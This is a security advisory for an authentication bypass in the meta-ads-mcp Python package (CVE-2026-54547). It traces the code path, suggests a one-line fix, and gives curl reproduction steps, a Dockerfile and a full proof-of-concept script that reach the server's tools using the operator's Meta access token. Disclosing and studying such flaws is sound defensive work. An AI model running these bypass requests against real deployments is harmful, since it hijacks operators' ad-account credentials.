meta-ads-mcp: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token
GHSA-2v2f-mvfg-ph56 · CVE-2026-54547 · PYSEC-2026-3484 · 갱신 2026. 7. 24.
영향 받는 패키지
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| PyPI | meta-ads-mcp | 1.0.115 |
GHSA-2v2f-mvfg-ph56 · CVE-2026-54547 · PYSEC-2026-3484 · 갱신 2026. 7. 24.
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| PyPI | meta-ads-mcp | 1.0.115 |
auth_token = None # not set → guard reads False for left operand
pipeboard_token = "<anything>" # truthy → guard reads False for right operand
→ (not None) and (not "<anything>") = True and False = False → 401 never returned
After the bypass, set_auth_token() is never called (lines 283–291 only run when auth_token is truthy). The patched token getter at lines 163–168 resolves get_auth_token() = None, then delegates to original_get_current_access_token(). The fallback chain in auth.py:446–453 returns META_ACCESS_TOKEN from the server environment:
# auth.py:443-453
env_token = os.environ.get("META_ACCESS_TOKEN")
if env_token:
return env_token
@meta_api_tool at api.py:390–396 injects this operator token into every tool's access_token kwarg. The sink at api.py:225–235 forwards it to the Meta Graph API via httpx.AsyncClient. Verified with accounts.py:42–62 (get_ad_accounts): the operator's ad account data is returned for valid tokens; for invalid tokens the Meta Graph API responds with an OAuthException, confirming the token traversed the full path.
Full data flow:
| Step | Location | Description |
|---|---|---|
| 1 | http_auth_integration.py:255–257 | Middleware extracts attacker-controlled headers |
| 2 | http_auth_integration.py:259 | Bypass: X-Pipeboard-Token alone satisfies guard |
| 3 | http_auth_integration.py:288–291 | auth_token is None; auth context never set |
| 4 | http_auth_integration.py:163–168 | Token getter falls back to original accessor |
| 5 | auth.py:446–453 | META_ACCESS_TOKEN env var returned as access token |
| 6 | api.py:390–396 | Operator token injected into tool kwargs |
| 7 | accounts.py:42–62 | Tool invokes Meta Graph API with operator token |
| 8 | api.py:225–235 | httpx.AsyncClient sends privileged HTTP request |
Recommended fix:
--- a/meta_ads_mcp/core/http_auth_integration.py
+++ b/meta_ads_mcp/core/http_auth_integration.py
- if not auth_token and not pipeboard_token:
+ if not auth_token:
X-Pipeboard-Token should be treated as a supplementary service token only; it must not serve as a standalone authentication credential for MCP tool calls.
Prerequisites
meta-ads-mcp repository available locally.streamable-http mode (documented in STREAMABLE_HTTP_SETUP.md as a supported production deployment).Step 1 — Build the Docker image
docker build \
-t vuln001-meta-ads-mcp \
-f /path/to/vuln-001/Dockerfile \
/path/to/meta-ads-mcp-repo/
The Dockerfile installs the package from source, sets META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890, and starts the server on port 8080.
Step 2 — Run the container
docker run -d -p 8081:8080 --name vuln001-test vuln001-meta-ads-mcp
Step 3 — Confirm the middleware is active (no-auth → 401)
curl -i -X POST http://127.0.0.1:8081/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'
# Expected: HTTP/1.1 401 {"error":"Unauthorized",...}
Step 4 — Trigger the bypass (X-Pipeboard-Token only → 200)
curl -i -X POST http://127.0.0.1:8081/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'X-Pipeboard-Token: attacker-controlled-not-validated' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'
# Expected: HTTP/1.1 200 {"jsonrpc":"2.0","result":{"tools":[...]}} (37 tools listed)
Step 5 — Confirm operator token is forwarded to Meta Graph API
curl -i -X POST http://127.0.0.1:8081/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'X-Pipeboard-Token: attacker-controlled-not-validated' \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"get_ad_accounts","arguments":{"limit":1}}}'
# Expected: HTTP 200 + Meta OAuthException (code 190) proving FAKE_OPERATOR_META_TOKEN
# was forwarded to Meta. With a real operator token, ad account data is returned.
Automated PoC script
python3 /path/to/vuln-001/poc.py http://127.0.0.1:8081/mcp
The script performs Tests 1–3 and prints RESULT: PASS — VULN-001 reproduced on success.
Observed output (dynamic reproduction)
Test 1 (no auth header) → HTTP 401 {"error":"Unauthorized",...}
Test 2 (X-Pipeboard-Token only) → HTTP 200 {"jsonrpc":"2.0","result":{"tools":[...]}} (37 tools)
Test 3 (tools/call, same header)→ HTTP 200 {"error":{"message":"Invalid OAuth access token data.","type":"OAuthException","code":190}}
Test 3 confirms that FAKE_OPERATOR_META_TOKEN was sent to Meta Graph API, proving the full operator-token reuse path.
This is an authentication bypass vulnerability. Any network-reachable caller that can send an HTTP request with an arbitrary X-Pipeboard-Token header can:
Operators who deploy meta-ads-mcp in --transport streamable-http mode with META_ACCESS_TOKEN configured — the documented and recommended production setup — are directly affected. Deployments using the default stdio transport or those without META_ACCESS_TOKEN set are not affected.
Dockerfile# VULN-001 PoC: X-Pipeboard-Token Auth Bypass (CWE-287)
# Runs meta-ads-mcp in streamable-http mode with a fake operator META_ACCESS_TOKEN.
# The server enforces auth via AuthInjectionMiddleware, but the bypass allows
# X-Pipeboard-Token alone to pass the middleware and reach tool handlers,
# which then fall back to the operator's META_ACCESS_TOKEN.
FROM python:3.11-slim
WORKDIR /app
# Install system dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
curl \
&& rm -rf /var/lib/apt/lists/*
# Copy repository source (build context must be the repo root)
COPY . /app
# Install the package and its dependencies
RUN pip install --no-cache-dir -e .
# Fake operator token: length >= 20 so the server's basic validation passes.
# This is NOT a real Meta token — used only to prove the bypass path
# that reaches auth.py:446-453 (META_ACCESS_TOKEN fallback).
ENV META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890
ENV META_APP_ID=999999999999999
# Disable any browser-launch attempts during startup
ENV DISPLAY=
EXPOSE 8080
# Start the MCP server with streamable-http transport.
# --host 0.0.0.0 is required so the container port is reachable from the host.
CMD ["python", "-m", "meta_ads_mcp", \
"--transport", "streamable-http", \
"--host", "0.0.0.0", \
"--port", "8080"]
poc.py#!/usr/bin/env python3
"""
PoC for VULN-001: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token
CVE class : CWE-287 Improper Authentication
Package : meta-ads-mcp 1.0.113
File : meta_ads_mcp/core/http_auth_integration.py:259
Vulnerability summary
---------------------
AuthInjectionMiddleware rejects requests only when BOTH auth_token AND
pipeboard_token are absent (line 259):
if not auth_token and not pipeboard_token:
return Response(status_code=401)
extract_token_from_headers() (lines 77-95) does NOT recognise the
"X-Pipeboard-Token" header — only "Authorization: Bearer",
"X-META-ACCESS-TOKEN", and "X-PIPEBOARD-API-TOKEN".
extract_pipeboard_token_from_headers() (line 108) DOES recognise
"X-Pipeboard-Token".
Consequence: an attacker that sends only "X-Pipeboard-Token: <anything>"
makes auth_token=None and pipeboard_token="<anything>". The bypass
condition becomes:
if not None and not "<anything>": # False — request passes
No auth context is set; the token getter (http_auth_integration.py:163-168)
falls back to get_current_access_token() in auth.py which returns the server
operator's META_ACCESS_TOKEN (auth.py:446-453). Tool calls then run as the
operator.
Expected evidence
-----------------
Test 1 No auth header → HTTP 401 from middleware
Test 2 X-Pipeboard-Token: <attacker value> → HTTP != 401 from MCP layer
(proves bypass; further tool calls use operator token)
Usage
-----
The MCP server must already be running and reachable at 127.0.0.1:8080.
docker run -d -p 8080:8080 --name vuln001 vuln001-meta-ads-mcp
python3 poc.py
"""
import json
import sys
import time
import urllib.error
import urllib.request
# ---------------------------------------------------------------------------
# Default server URL; override via first CLI arg: python3 poc.py http://host:port/mcp
import os as _os
_DEFAULT_URL = "http://127.0.0.1:8080/mcp"
SERVER_URL = (
sys.argv[1] if len(sys.argv) > 1 else _os.environ.get("MCP_SERVER_URL", _DEFAULT_URL)
)
# Arbitrary attacker-controlled value — NOT validated by the server
ATTACKER_PIPEBOARD_TOKEN = "attacker-controlled-not-validated-xyz1234567890"
SERVER_READY_TIMEOUT = 90 # seconds
# ---------------------------------------------------------------------------
def http_post(url: str, headers: dict, body: dict) -> tuple:
"""Send a JSON-encoded POST request; return (http_status, response_text)."""
data = json.dumps(body).encode()
req = urllib.request.Request(url, data=data, headers=headers, method="POST")
try:
with urllib.request.urlopen(req, timeout=10) as resp:
return resp.status, resp.read().decode("utf-8", errors="replace")
except urllib.error.HTTPError as exc:
return exc.code, exc.read().decode("utf-8", errors="replace")
except Exception as exc:
return None, str(exc)
def wait_for_server(timeout: int = SERVER_READY_TIMEOUT) -> bool:
"""
Poll until the server returns any HTTP response (even 401).
Returns True when ready, False on timeout.
"""
deadline = time.time() + timeout
attempt = 0
while time.time() < deadline:
status, _ = http_post(
SERVER_URL,
{"Content-Type": "application/json"},
{"jsonrpc": "2.0", "id": 0, "method": "ping"},
)
if status is not None:
return True
attempt += 1
if attempt % 5 == 0:
elapsed = int(time.time() - (deadline - timeout))
print(f" ... still waiting ({elapsed}s elapsed)")
time.sleep(1)
return False
def run_test(label: str, headers: dict, payload: dict) -> tuple:
"""Run one request, print result, and return (status, body)."""
print(f"\n[*] {label}")
status, body = http_post(SERVER_URL, headers, payload)
print(f" HTTP Status : {status}")
# Print up to 600 chars so long MCP responses are readable
print(f" Response : {body[:600]}")
return status, body
def main() -> int:
print("=" * 65)
print("VULN-001 PoC: X-Pipeboard-Token Auth Bypass")
print("meta-ads-mcp 1.0.113 | CWE-287 Improper Authentication")
print("=" * 65)
# -----------------------------------------------------------------------
print("\n[*] Waiting for MCP server to be ready ...")
if not wait_for_server():
print(f"[-] ERROR: Server did not respond within {SERVER_READY_TIMEOUT}s")
return 2
print("[+] Server is ready")
# Common headers for all requests
base_headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
}
# A minimal MCP JSON-RPC payload. In stateless-HTTP mode the server
# processes each request independently; tools/list does not require a
# prior initialize handshake.
list_payload = {
"jsonrpc": "2.0",
"id": 1,
"method": "tools/list",
"params": {},
}
# -----------------------------------------------------------------------
# Test 1: No authentication — must be rejected with 401
# -----------------------------------------------------------------------
status1, body1 = run_test(
"Test 1: POST /mcp — no auth header at all",
base_headers,
list_payload,
)
if status1 != 401:
print(f"[-] UNEXPECTED: Expected HTTP 401 without auth, got {status1}")
print(" Middleware may not be active. Cannot assess bypass.")
return 2
try:
parsed = json.loads(body1)
if parsed.get("error") != "Unauthorized":
print("[-] UNEXPECTED body (expected {\"error\": \"Unauthorized\"})")
return 2
except json.JSONDecodeError:
pass # Body format is secondary evidence
print("[+] CONFIRMED: No-auth request correctly rejected with HTTP 401")
# -----------------------------------------------------------------------
# Test 2: Only X-Pipeboard-Token — must NOT be 401 if bypass works
#
# Vulnerability logic (http_auth_integration.py:259):
# auth_token = extract_token_from_headers(headers) -> None
# pipeboard_token = extract_pipeboard_token_from_headers(headers) -> ATTACKER_VALUE
# if not None and not ATTACKER_VALUE: # evaluates False -> request passes
# # set_auth_token() never called -> auth context stays None
# # tool getter falls back to META_ACCESS_TOKEN env var
# -----------------------------------------------------------------------
bypass_headers = {
**base_headers,
"X-Pipeboard-Token": ATTACKER_PIPEBOARD_TOKEN,
}
status2, body2 = run_test(
f"Test 2: POST /mcp — only X-Pipeboard-Token: {ATTACKER_PIPEBOARD_TOKEN}",
bypass_headers,
list_payload,
)
if status2 == 401:
print("\n[-] BYPASS FAILED: Got HTTP 401 with X-Pipeboard-Token.")
print(" The vulnerability may have been patched on this build.")
return 1
print(f"\n[+] AUTH BYPASS CONFIRMED: HTTP {status2} (not 401)")
print(" The middleware accepted the request with X-Pipeboard-Token alone.")
print(" auth_token was None -> set_auth_token() not called ->")
print(" get_auth_token() returns None -> META_ACCESS_TOKEN fallback active.")
# Extra detail: check if we can see MCP tool names in the response
try:
parsed2 = json.loads(body2)
tools = parsed2.get("result", {}).get("tools", [])
if tools:
print(f"\n MCP tools/list returned {len(tools)} tools (server fully reachable):")
for t in tools[:5]:
print(f" - {t.get('name', '?')}")
except Exception:
pass
# -----------------------------------------------------------------------
# Test 3: tools/call get_ad_accounts — operator token forwarded to Meta
# The Meta Graph API will reject the FAKE token, but the error response
# proves the request reached Meta (not the local 401 guard).
# -----------------------------------------------------------------------
call_payload = {
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "get_ad_accounts",
"arguments": {"limit": 1},
},
}
status3, body3 = run_test(
"Test 3: tools/call get_ad_accounts with X-Pipeboard-Token only",
bypass_headers,
call_payload,
)
if status3 != 401:
print(f"\n[+] OPERATOR TOKEN CONFIRMED IN USE: HTTP {status3}")
print(" The tool call was not blocked locally. The server forwarded")
print(" the request to Meta Graph API using META_ACCESS_TOKEN.")
if "OAuthException" in body3 or "Invalid OAuth" in body3:
print(" Meta Graph API returned an OAuthException about the")
print(" FAKE_OPERATOR_META_TOKEN — confirming the token was forwarded.")
elif "error" in body3.lower():
print(" Meta Graph API (or MCP layer) returned an error response")
print(" — the request reached the tool handler, not the local 401 guard.")
else:
print("[!] Note: tools/call returned 401 — may need MCP initialize first")
# -----------------------------------------------------------------------
print("\n" + "=" * 65)
print("RESULT: PASS — VULN-001 reproduced")
print()
print("Evidence:")
print(f" Test 1 (no header) -> HTTP {status1} (blocked by middleware)")
print(f" Test 2 (X-Pipeboard-Token) -> HTTP {status2} (BYPASSES middleware)")
print()
print("The distinction proves that AuthInjectionMiddleware at")
print("http_auth_integration.py:259 is the exploitable boundary.")
print("An attacker can reach all MCP tools as the server operator by")
print('sending any value in the "X-Pipeboard-Token" header.')
print("=" * 65)
return 0
if __name__ == "__main__":
sys.exit(main())